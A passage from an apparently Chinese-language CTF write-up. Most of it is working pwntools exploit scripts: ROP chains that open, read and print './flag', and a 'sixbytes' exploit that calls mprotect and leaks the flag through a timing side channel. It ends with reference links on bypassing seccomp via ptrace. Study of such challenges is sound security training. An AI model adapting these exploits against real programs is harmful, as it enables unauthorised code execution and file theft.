payload += p64(rw_mem)
payload += p64(elf.sym['read'])
payload += p64(elf.search(asm('leave; ret;'), executable=True).next())

# 调试: 设置gdb断点
gdb.attach(p, "b *0x401f37\nc")
pause()

# 发送初始payload
p.sendafter('please input:', payload)
pause()

# 构造ROP链,绕过保护并执行系统调用
rop = ''

rop += p64(elf.search(asm('pop rax; ret;'), executable=True).next())
rop += p64(3) # 设置syscall号(3是read)
rop += p64(elf.search(asm('pop rdi; ret;'), executable=True).next())
rop += p64(0) # 文件描述符0(标准输入)
rop += p64(elf.search(asm('syscall; ret;'), executable=True).next())

rop += p64(elf.search(asm('pop rax; ret;'), executable=True).next())
rop += p64(257) # 设置syscall号(257是open)
rop += p64(elf.search(asm('pop rdi; ret;'), executable=True).next())
rop += p64(-100 + 0x10000000000000000) # open的路径地址(64位地址)
rop += p64(elf.search(asm('pop rsi; ret;'), executable=True).next())
rop += p64(buf_addr) # 文件路径("./flag")
rop += p64(elf.search(asm('pop rdx; ret;'), executable=True).next())
rop += p64(0) # 文件打开标志

rop += p64(elf.search(asm('syscall; ret;'), executable=True).next())

# 调用write系统调用以打印flag内容
rop += p64(elf.search(asm('pop rax; ret;'), executable=True).next())
rop += p64(1) # write syscall号(1是write)
rop += p64(elf.search(asm('pop rdi; ret;'), executable=True).next())
rop += p64(1) # 文件描述符1(标准输出)
rop += p64(elf.search(asm('pop rsi; ret;'), executable=True).next())
rop += p64(buf_addr) # 输出的缓冲区
rop += p64(elf.search(asm('pop rdx; ret;'), executable=True).next())
rop += p64(0x100) # 输出大小

rop += p64(elf.search(asm('syscall; ret;'), executable=True).next())

# 填充ROP链至指定长度
rop = rop.ljust(0x100, '\x00')

# 添加目标文件名
rop += "./flag\x00"

# 发送ROP链
p.send(rop)

# 进入交互模式,查看输出
p.interactive()

DASCTF2024 金秋十月赛 sixbytes

查看发现程序禁止了标准输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
# context.log_level = 'debug'
p = process([elf.path])

rw_mem = 0x4c0000

payload = 'a' * 0x100
payload += "b" * 8
payload += p64(elf.search(asm('pop rdi; ret;'), executable=True).next())
payload += p64(0)
payload += p64(elf.search(asm('pop rsi; ret;'), executable=True).next())
payload += p64(rw_mem)
payload += p64(elf.sym['read'])
payload += p64(elf.search(asm('pop rdi; ret;'), executable=True).next())
payload += p64(rw_mem)
payload += p64(elf.search(asm('pop rsi; ret;'), executable=True).next())
payload += p64(0x1000)
payload += p64(elf.search(asm('pop rdx; ret'), executable=True).next())
payload += p64(7)
payload += p64(elf.sym['mprotect'])
payload += p64(elf.search(asm('call rdi;'), executable=True).next())

# gdb.attach(p, "b *0x401e36\nc")
# pause()

def check(i, c):
p = process([elf.path])
p.send(payload)
sleep(1)
shellcode = asm("""
push 0x67616c66
mov rdi, rsp
xor esi, esi
push 2
pop rax
syscall
mov rdi, rax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov dl, [rsp + {}]
cmp dl, {}
jbe $
""".format(i, c))
p.send(shellcode)
try:
p.recv(timeout=1)
p.kill()
return True
except KeyboardInterrupt:
exit(0)
except:
p.close()
return False

i = 0
flag = ''
while True:
l = 0x20
r = 0x7f
while l < r:
m = (l + r) // 2
if check(i, m):
r = m
else:
l = m + 1
flag += chr(l)
log.info(flag)
i += 1

ptrace绕过seccomp

KCTF 2024 第8题-星门

后言

参考:[原创]KCTF 2024 第8题-星门-WriteUp-Ptrace绕过Seccomp
参考:看雪pwn探索篇